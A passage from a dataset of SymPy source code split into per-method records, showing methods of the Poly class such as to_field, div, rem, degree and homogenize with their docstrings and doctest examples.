domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'to_ring'):\n result = f.rep.to_ring()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'to_ring')\n\n return f.per(result)", "metadata": "root.Poly.to_ring", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 633 }, { "content": " def to_field(f):\n \"\"\"\n Make the ground domain a field.\n\n Examples\n ========\n\n >>> from sympy import Poly, ZZ\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x, domain=ZZ).to_field()\n Poly(x**2 + 1, x, domain='QQ')\n\n \"\"\"\n if hasattr(f.rep, 'to_field'):\n result = f.rep.to_field()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'to_field')\n\n return f.per(result)", "metadata": "root.Poly.to_field", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 654 }, { "content": " def to_exact(f):\n \"\"\"\n Make the ground domain exact.\n\n Examples\n ========\n\n >>> from sympy import Poly, RR\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1.0, x, domain=RR).to_exact()\n Poly(x**2 + 1, x, domain='QQ')\n\n \"\"\"\n if hasattr(f.rep, 'to_exact'):\n result = f.rep.to_exact()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'to_exact')\n\n return f.per(result)", "metadata": "root.Poly.to_exact", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 675 }, { "content": " def retract(f, field=None):\n \"\"\"\n Recalculate the ground domain of a polynomial.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> f = Poly(x**2 + 1, x, domain='QQ[y]')\n >>> f\n Poly(x**2 + 1, x, domain='QQ[y]')\n\n >>> f.retract()\n Poly(x**2 + 1, x, domain='ZZ')\n >>> f.retract(field=True)\n Poly(x**2 + 1, x, domain='QQ')\n\n \"\"\"\n dom, rep = construct_domain(f.as_dict(zero=True),\n field=field, composite=f.domain.is_Composite or None)\n return f.from_dict(rep, f.gens, domain=dom)", "metadata": "root.Poly.retract", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 696 }, { "content": " def slice(f, x, m, n=None):\n \"\"\"Take a continuous subsequence of terms of ``f``. \"\"\"\n if n is None:\n j, m, n = 0, x, m\n else:\n j = f._gen_to_level(x)\n\n m, n = int(m), int(n)\n\n if hasattr(f.rep, 'slice'):\n result = f.rep.slice(m, n, j)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'slice')\n\n return f.per(result)", "metadata": "root.Poly.slice", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 720 }, { "content": " def coeffs(f, order=None):\n \"\"\"\n Returns all non-zero coefficients from ``f`` in lex order.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**3 + 2*x + 3, x).coeffs()\n [1, 2, 3]\n\n See Also\n ========\n all_coeffs\n coeff_monomial\n nth\n\n \"\"\"\n return [f.rep.dom.to_sympy(c) for c in f.rep.coeffs(order=order)]", "metadata": "root.Poly.coeffs", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 736 }, { "content": " def monoms(f, order=None):\n \"\"\"\n Returns all non-zero monomials from ``f`` in lex order.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(x**2 + 2*x*y**2 + x*y + 3*y, x, y).monoms()\n [(2, 0), (1, 2), (1, 1), (0, 1)]\n\n See Also\n ========\n all_monoms\n\n \"\"\"\n return f.rep.monoms(order=order)", "metadata": "root.Poly.monoms", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 758 }, { "content": " def terms(f, order=None):\n \"\"\"\n Returns all non-zero terms from ``f`` in lex order.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(x**2 + 2*x*y**2 + x*y + 3*y, x, y).terms()\n [((2, 0), 1), ((1, 2), 2), ((1, 1), 1), ((0, 1), 3)]\n\n See Also\n ========\n all_terms\n\n \"\"\"\n return [(m, f.rep.dom.to_sympy(c)) for m, c in f.rep.terms(order=order)]", "metadata": "root.Poly.terms", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 778 }, { "content": " def all_coeffs(f):\n \"\"\"\n Returns all coefficients from a univariate polynomial ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**3 + 2*x - 1, x).all_coeffs()\n [1, 0, 2, -1]\n\n \"\"\"\n return [f.rep.dom.to_sympy(c) for c in f.rep.all_coeffs()]", "metadata": "root.Poly.all_coeffs", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 798 }, { "content": " def all_monoms(f):\n \"\"\"\n Returns all monomials from a univariate polynomial ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**3 + 2*x - 1, x).all_monoms()\n [(3,), (2,), (1,), (0,)]\n\n See Also\n ========\n all_terms\n\n \"\"\"\n return f.rep.all_monoms()", "metadata": "root.Poly.all_monoms", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 814 }, { "content": " def all_terms(f):\n \"\"\"\n Returns all terms from a univariate polynomial ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**3 + 2*x - 1, x).all_terms()\n [((3,), 1), ((2,), 0), ((1,), 2), ((0,), -1)]\n\n \"\"\"\n return [(m, f.rep.dom.to_sympy(c)) for m, c in f.rep.all_terms()]", "metadata": "root.Poly.all_terms", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 834 }, { "content": " def length(f):\n \"\"\"\n Returns the number of non-zero terms in ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 2*x - 1).length()\n 3\n\n \"\"\"\n return len(f.as_dict())", "metadata": "root.Poly.length", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 887 }, { "content": " def as_dict(f, native=False, zero=False):\n \"\"\"\n Switch to a ``dict`` representation.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(x**2 + 2*x*y**2 - y, x, y).as_dict()\n {(0, 1): -1, (1, 2): 2, (2, 0): 1}\n\n \"\"\"\n if native:\n return f.rep.to_dict(zero=zero)\n else:\n return f.rep.to_sympy_dict(zero=zero)", "metadata": "root.Poly.as_dict", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 903 }, { "content": " def as_list(f, native=False):\n \"\"\"Switch to a ``list`` representation. \"\"\"\n if native:\n return f.rep.to_list()\n else:\n return f.rep.to_sympy_list()", "metadata": "root.Poly.as_list", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 922 }, { "content": " def lift(f):\n \"\"\"\n Convert algebraic coefficients to rationals.\n\n Examples\n ========\n\n >>> from sympy import Poly, I\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + I*x + 1, x, extension=I).lift()\n Poly(x**4 + 3*x**2 + 1, x, domain='QQ')\n\n \"\"\"\n if hasattr(f.rep, 'lift'):\n result = f.rep.lift()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'lift')\n\n return f.per(result)", "metadata": "root.Poly.lift", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 966 }, { "content": " def deflate(f):\n \"\"\"\n Reduce degree of ``f`` by mapping ``x_i**m`` to ``y_i``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(x**6*y**2 + x**3 + 1, x, y).deflate()\n ((3, 2), Poly(x**2*y + x + 1, x, y, domain='ZZ'))\n\n \"\"\"\n if hasattr(f.rep, 'deflate'):\n J, result = f.rep.deflate()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'deflate')\n\n return J, f.per(result)", "metadata": "root.Poly.deflate", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 987 }, { "content": " def inject(f, front=False):\n \"\"\"\n Inject ground domain generators into ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> f = Poly(x**2*y + x*y**3 + x*y + 1, x)\n\n >>> f.inject()\n Poly(x**2*y + x*y**3 + x*y + 1, x, y, domain='ZZ')\n >>> f.inject(front=True)\n Poly(y**3*x + y*x**2 + y*x + 1, y, x, domain='ZZ')\n\n \"\"\"\n dom = f.rep.dom\n\n if dom.is_Numerical:\n return f\n elif not dom.is_Poly:\n raise DomainError(\"can't inject generators over %s\" % dom)\n\n if hasattr(f.rep, 'inject'):\n result = f.rep.inject(front=front)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'inject')\n\n if front:\n gens = dom.symbols + f.gens\n else:\n gens = f.gens + dom.symbols\n\n return f.new(result, *gens)", "metadata": "root.Poly.inject", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1008 }, { "content": " def terms_gcd(f):\n \"\"\"\n Remove GCD of terms from the polynomial ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(x**6*y**2 + x**3*y, x, y).terms_gcd()\n ((3, 1), Poly(x**3*y + 1, x, y, domain='ZZ'))\n\n \"\"\"\n if hasattr(f.rep, 'terms_gcd'):\n J, result = f.rep.terms_gcd()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'terms_gcd')\n\n return J, f.per(result)", "metadata": "root.Poly.terms_gcd", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1087 }, { "content": " def add_ground(f, coeff):\n \"\"\"\n Add an element of the ground domain to ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x + 1).add_ground(2)\n Poly(x + 3, x, domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'add_ground'):\n result = f.rep.add_ground(coeff)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'add_ground')\n\n return f.per(result)", "metadata": "root.Poly.add_ground", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1108 }, { "content": " def sub_ground(f, coeff):\n \"\"\"\n Subtract an element of the ground domain from ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x + 1).sub_ground(2)\n Poly(x - 1, x, domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'sub_ground'):\n result = f.rep.sub_ground(coeff)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'sub_ground')\n\n return f.per(result)", "metadata": "root.Poly.sub_ground", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1129 }, { "content": " def mul_ground(f, coeff):\n \"\"\"\n Multiply ``f`` by a an element of the ground domain.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x + 1).mul_ground(2)\n Poly(2*x + 2, x, domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'mul_ground'):\n result = f.rep.mul_ground(coeff)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'mul_ground')\n\n return f.per(result)", "metadata": "root.Poly.mul_ground", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1150 }, { "content": " def quo_ground(f, coeff):\n \"\"\"\n Quotient of ``f`` by a an element of the ground domain.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(2*x + 4).quo_ground(2)\n Poly(x + 2, x, domain='ZZ')\n\n >>> Poly(2*x + 3).quo_ground(2)\n Poly(x + 1, x, domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'quo_ground'):\n result = f.rep.quo_ground(coeff)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'quo_ground')\n\n return f.per(result)", "metadata": "root.Poly.quo_ground", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1171 }, { "content": " def exquo_ground(f, coeff):\n \"\"\"\n Exact quotient of ``f`` by a an element of the ground domain.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(2*x + 4).exquo_ground(2)\n Poly(x + 2, x, domain='ZZ')\n\n >>> Poly(2*x + 3).exquo_ground(2)\n Traceback (most recent call last):\n ...\n ExactQuotientFailed: 2 does not divide 3 in ZZ\n\n \"\"\"\n if hasattr(f.rep, 'exquo_ground'):\n result = f.rep.exquo_ground(coeff)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'exquo_ground')\n\n return f.per(result)", "metadata": "root.Poly.exquo_ground", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1195 }, { "content": " def abs(f):\n \"\"\"\n Make all coefficients in ``f`` positive.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 1, x).abs()\n Poly(x**2 + 1, x, domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'abs'):\n result = f.rep.abs()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'abs')\n\n return f.per(result)", "metadata": "root.Poly.abs", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1221 }, { "content": " def neg(f):\n \"\"\"\n Negate all coefficients in ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 1, x).neg()\n Poly(-x**2 + 1, x, domain='ZZ')\n\n >>> -Poly(x**2 - 1, x)\n Poly(-x**2 + 1, x, domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'neg'):\n result = f.rep.neg()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'neg')\n\n return f.per(result)", "metadata": "root.Poly.neg", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1242 }, { "content": " def add(f, g):\n \"\"\"\n Add two polynomials ``f`` and ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).add(Poly(x - 2, x))\n Poly(x**2 + x - 1, x, domain='ZZ')\n\n >>> Poly(x**2 + 1, x) + Poly(x - 2, x)\n Poly(x**2 + x - 1, x, domain='ZZ')\n\n \"\"\"\n g = sympify(g)\n\n if not g.is_Poly:\n return f.add_ground(g)\n\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'add'):\n result = F.add(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'add')\n\n return per(result)", "metadata": "root.Poly.add", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1266 }, { "content": " def sub(f, g):\n \"\"\"\n Subtract two polynomials ``f`` and ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).sub(Poly(x - 2, x))\n Poly(x**2 - x + 3, x, domain='ZZ')\n\n >>> Poly(x**2 + 1, x) - Poly(x - 2, x)\n Poly(x**2 - x + 3, x, domain='ZZ')\n\n \"\"\"\n g = sympify(g)\n\n if not g.is_Poly:\n return f.sub_ground(g)\n\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'sub'):\n result = F.sub(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'sub')\n\n return per(result)", "metadata": "root.Poly.sub", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1297 }, { "content": " def mul(f, g):\n \"\"\"\n Multiply two polynomials ``f`` and ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).mul(Poly(x - 2, x))\n Poly(x**3 - 2*x**2 + x - 2, x, domain='ZZ')\n\n >>> Poly(x**2 + 1, x)*Poly(x - 2, x)\n Poly(x**3 - 2*x**2 + x - 2, x, domain='ZZ')\n\n \"\"\"\n g = sympify(g)\n\n if not g.is_Poly:\n return f.mul_ground(g)\n\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'mul'):\n result = F.mul(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'mul')\n\n return per(result)", "metadata": "root.Poly.mul", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1328 }, { "content": " def sqr(f):\n \"\"\"\n Square a polynomial ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x - 2, x).sqr()\n Poly(x**2 - 4*x + 4, x, domain='ZZ')\n\n >>> Poly(x - 2, x)**2\n Poly(x**2 - 4*x + 4, x, domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'sqr'):\n result = f.rep.sqr()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'sqr')\n\n return f.per(result)", "metadata": "root.Poly.sqr", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1359 }, { "content": " def pow(f, n):\n \"\"\"\n Raise ``f`` to a non-negative power ``n``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x - 2, x).pow(3)\n Poly(x**3 - 6*x**2 + 12*x - 8, x, domain='ZZ')\n\n >>> Poly(x - 2, x)**3\n Poly(x**3 - 6*x**2 + 12*x - 8, x, domain='ZZ')\n\n \"\"\"\n n = int(n)\n\n if hasattr(f.rep, 'pow'):\n result = f.rep.pow(n)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'pow')\n\n return f.per(result)", "metadata": "root.Poly.pow", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1383 }, { "content": " def pdiv(f, g):\n \"\"\"\n Polynomial pseudo-division of ``f`` by ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).pdiv(Poly(2*x - 4, x))\n (Poly(2*x + 4, x, domain='ZZ'), Poly(20, x, domain='ZZ'))\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'pdiv'):\n q, r = F.pdiv(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'pdiv')\n\n return per(q), per(r)", "metadata": "root.Poly.pdiv", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1409 }, { "content": " def prem(f, g):\n \"\"\"\n Polynomial pseudo-remainder of ``f`` by ``g``.\n\n Caveat: The function prem(f, g, x) can be safely used to compute\n in Z[x] _only_ subresultant polynomial remainder sequences (prs's).\n\n To safely compute Euclidean and Sturmian prs's in Z[x]\n employ anyone of the corresponding functions found in\n the module sympy.polys.subresultants_qq_zz. The functions\n in the module with suffix _pg compute prs's in Z[x] employing\n rem(f, g, x), whereas the functions with suffix _amv\n compute prs's in Z[x] employing rem_z(f, g, x).\n\n The function rem_z(f, g, x) differs from prem(f, g, x) in that\n to compute the remainder polynomials in Z[x] it premultiplies\n the divident times the absolute value of the leading coefficient\n of the divisor raised to the power degree(f, x) - degree(g, x) + 1.\n\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).prem(Poly(2*x - 4, x))\n Poly(20, x, domain='ZZ')\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'prem'):\n result = F.prem(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'prem')\n\n return per(result)", "metadata": "root.Poly.prem", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1432 }, { "content": " def pquo(f, g):\n \"\"\"\n Polynomial pseudo-quotient of ``f`` by ``g``.\n\n See the Caveat note in the function prem(f, g).\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).pquo(Poly(2*x - 4, x))\n Poly(2*x + 4, x, domain='ZZ')\n\n >>> Poly(x**2 - 1, x).pquo(Poly(2*x - 2, x))\n Poly(2*x + 2, x, domain='ZZ')\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'pquo'):\n result = F.pquo(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'pquo')\n\n return per(result)", "metadata": "root.Poly.pquo", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1471 }, { "content": " def pexquo(f, g):\n \"\"\"\n Polynomial exact pseudo-quotient of ``f`` by ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 1, x).pexquo(Poly(2*x - 2, x))\n Poly(2*x + 2, x, domain='ZZ')\n\n >>> Poly(x**2 + 1, x).pexquo(Poly(2*x - 4, x))\n Traceback (most recent call last):\n ...\n ExactQuotientFailed: 2*x - 4 does not divide x**2 + 1\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'pexquo'):\n try:\n result = F.pexquo(G)\n except ExactQuotientFailed as exc:\n raise exc.new(f.as_expr(), g.as_expr())\n else: # pragma: no cover\n raise OperationNotSupported(f, 'pexquo')\n\n return per(result)", "metadata": "root.Poly.pexquo", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1499 }, { "content": " def div(f, g, auto=True):\n \"\"\"\n Polynomial division with remainder of ``f`` by ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).div(Poly(2*x - 4, x))\n (Poly(1/2*x + 1, x, domain='QQ'), Poly(5, x, domain='QQ'))\n\n >>> Poly(x**2 + 1, x).div(Poly(2*x - 4, x), auto=False)\n (Poly(0, x, domain='ZZ'), Poly(x**2 + 1, x, domain='ZZ'))\n\n \"\"\"\n dom, per, F, G = f._unify(g)\n retract = False\n\n if auto and dom.has_Ring and not dom.has_Field:\n F, G = F.to_field(), G.to_field()\n retract = True\n\n if hasattr(f.rep, 'div'):\n q, r = F.div(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'div')\n\n if retract:\n try:\n Q, R = q.to_ring(), r.to_ring()\n except CoercionFailed:\n pass\n else:\n q, r = Q, R\n\n return per(q), per(r)", "metadata": "root.Poly.div", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1530 }, { "content": " def rem(f, g, auto=True):\n \"\"\"\n Computes the polynomial remainder of ``f`` by ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).rem(Poly(2*x - 4, x))\n Poly(5, x, domain='ZZ')\n\n >>> Poly(x**2 + 1, x).rem(Poly(2*x - 4, x), auto=False)\n Poly(x**2 + 1, x, domain='ZZ')\n\n \"\"\"\n dom, per, F, G = f._unify(g)\n retract = False\n\n if auto and dom.has_Ring and not dom.has_Field:\n F, G = F.to_field(), G.to_field()\n retract = True\n\n if hasattr(f.rep, 'rem'):\n r = F.rem(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'rem')\n\n if retract:\n try:\n r = r.to_ring()\n except CoercionFailed:\n pass\n\n return per(r)", "metadata": "root.Poly.rem", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1569 }, { "content": " def quo(f, g, auto=True):\n \"\"\"\n Computes polynomial quotient of ``f`` by ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).quo(Poly(2*x - 4, x))\n Poly(1/2*x + 1, x, domain='QQ')\n\n >>> Poly(x**2 - 1, x).quo(Poly(x - 1, x))\n Poly(x + 1, x, domain='ZZ')\n\n \"\"\"\n dom, per, F, G = f._unify(g)\n retract = False\n\n if auto and dom.has_Ring and not dom.has_Field:\n F, G = F.to_field(), G.to_field()\n retract = True\n\n if hasattr(f.rep, 'quo'):\n q = F.quo(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'quo')\n\n if retract:\n try:\n q = q.to_ring()\n except CoercionFailed:\n pass\n\n return per(q)", "metadata": "root.Poly.quo", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1606 }, { "content": " def exquo(f, g, auto=True):\n \"\"\"\n Computes polynomial exact quotient of ``f`` by ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 1, x).exquo(Poly(x - 1, x))\n Poly(x + 1, x, domain='ZZ')\n\n >>> Poly(x**2 + 1, x).exquo(Poly(2*x - 4, x))\n Traceback (most recent call last):\n ...\n ExactQuotientFailed: 2*x - 4 does not divide x**2 + 1\n\n \"\"\"\n dom, per, F, G = f._unify(g)\n retract = False\n\n if auto and dom.has_Ring and not dom.has_Field:\n F, G = F.to_field(), G.to_field()\n retract = True\n\n if hasattr(f.rep, 'exquo'):\n try:\n q = F.exquo(G)\n except ExactQuotientFailed as exc:\n raise exc.new(f.as_expr(), g.as_expr())\n else: # pragma: no cover\n raise OperationNotSupported(f, 'exquo')\n\n if retract:\n try:\n q = q.to_ring()\n except CoercionFailed:\n pass\n\n return per(q)", "metadata": "root.Poly.exquo", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1643 }, { "content": " def _gen_to_level(f, gen):\n \"\"\"Returns level associated with the given generator. \"\"\"\n if isinstance(gen, int):\n length = len(f.gens)\n\n if -length <= gen < length:\n if gen < 0:\n return length + gen\n else:\n return gen\n else:\n raise PolynomialError(\"-%s <= gen < %s expected, got %s\" %\n (length, length, gen))\n else:\n try:\n return f.gens.index(sympify(gen))\n except ValueError:\n raise PolynomialError(\n \"a valid generator expected, got %s\" % gen)", "metadata": "root.Poly._gen_to_level", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1685 }, { "content": " def degree(f, gen=0):\n \"\"\"\n Returns degree of ``f`` in ``x_j``.\n\n The degree of 0 is negative infinity.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(x**2 + y*x + 1, x, y).degree()\n 2\n >>> Poly(x**2 + y*x + y, x, y).degree(y)\n 1\n >>> Poly(0, x).degree()\n -oo\n\n \"\"\"\n j = f._gen_to_level(gen)\n\n if hasattr(f.rep, 'degree'):\n return f.rep.degree(j)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'degree')", "metadata": "root.Poly.degree", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1705 }, { "content": " def degree_list(f):\n \"\"\"\n Returns a list of degrees of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(x**2 + y*x + 1, x, y).degree_list()\n (2, 1)\n\n \"\"\"\n if hasattr(f.rep, 'degree_list'):\n return f.rep.degree_list()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'degree_list')", "metadata": "root.Poly.degree_list", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1732 }, { "content": " def total_degree(f):\n \"\"\"\n Returns the total degree of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(x**2 + y*x + 1, x, y).total_degree()\n 2\n >>> Poly(x + y**5, x, y).total_degree()\n 5\n\n \"\"\"\n if hasattr(f.rep, 'total_degree'):\n return f.rep.total_degree()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'total_degree')", "metadata": "root.Poly.total_degree", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1751 }, { "content": " def homogenize(f, s):\n \"\"\"\n Returns the homogeneous polynomial of ``f``.\n\n A homogeneous polynomial is a polynomial whose all monomials with\n non-zero coefficients have the same total degree. If you only\n want to check if a polynomial is homogeneous, then use\n :func:`Poly.is_homogeneous`. If you want not only to check if a\n polynomial is homogeneous but also compute its homogeneous order,\n then use :func:`Poly.homogeneous_order`.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y, z\n\n >>> f = Poly(x**5 + 2*x**2*y**2 + 9*x*y**3)\n >>> f.homogenize(z)\n Poly(x**5 + 2*x**2*y**2*z + 9*x*y**3*z, x, y, z, domain='ZZ')\n\n \"\"\"\n if not isinstance(s, Symbol):\n raise TypeError(\"``Symbol`` expected, got %s\" % type(s))\n if s in f.gens:\n i = f.gens.index(s)\n gens = f.gens\n else:\n i = len(f.gens)\n gens = f.gens + (s,)\n if hasattr(f.rep, 'homogenize'):\n return f.per(f.rep.homogenize(i), gens=gens)\n raise OperationNotSupported(f, 'homogeneous_order')", "metadata": "root.Poly.homogenize", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1772 }, { "content": " def homogeneous_order(f):\n \"\"\"\n Returns the homogeneous order of ``f``.\n\n A homogeneous polynomial is a polynomial whose all monomials with\n non-zero coefficients have the same total degree. This degree is\n the homogeneous order of ``f``. If you only want to check if a\n polynomial is homogeneous, then use :func:`Poly.is_homogeneous`.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> f = Poly(x**5 + 2*x**3*y**2 + 9*x*y**4)\n >>> f.homogeneous_order()\n 5\n\n \"\"\"\n if hasattr(f.rep, 'homogeneous_order'):\n return f.rep.homogeneous_order()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'homogeneous_order')", "metadata": "root.Poly.homogeneous_order", "header": "['class', 'Poly', '(', 'Expr', ')', ':', 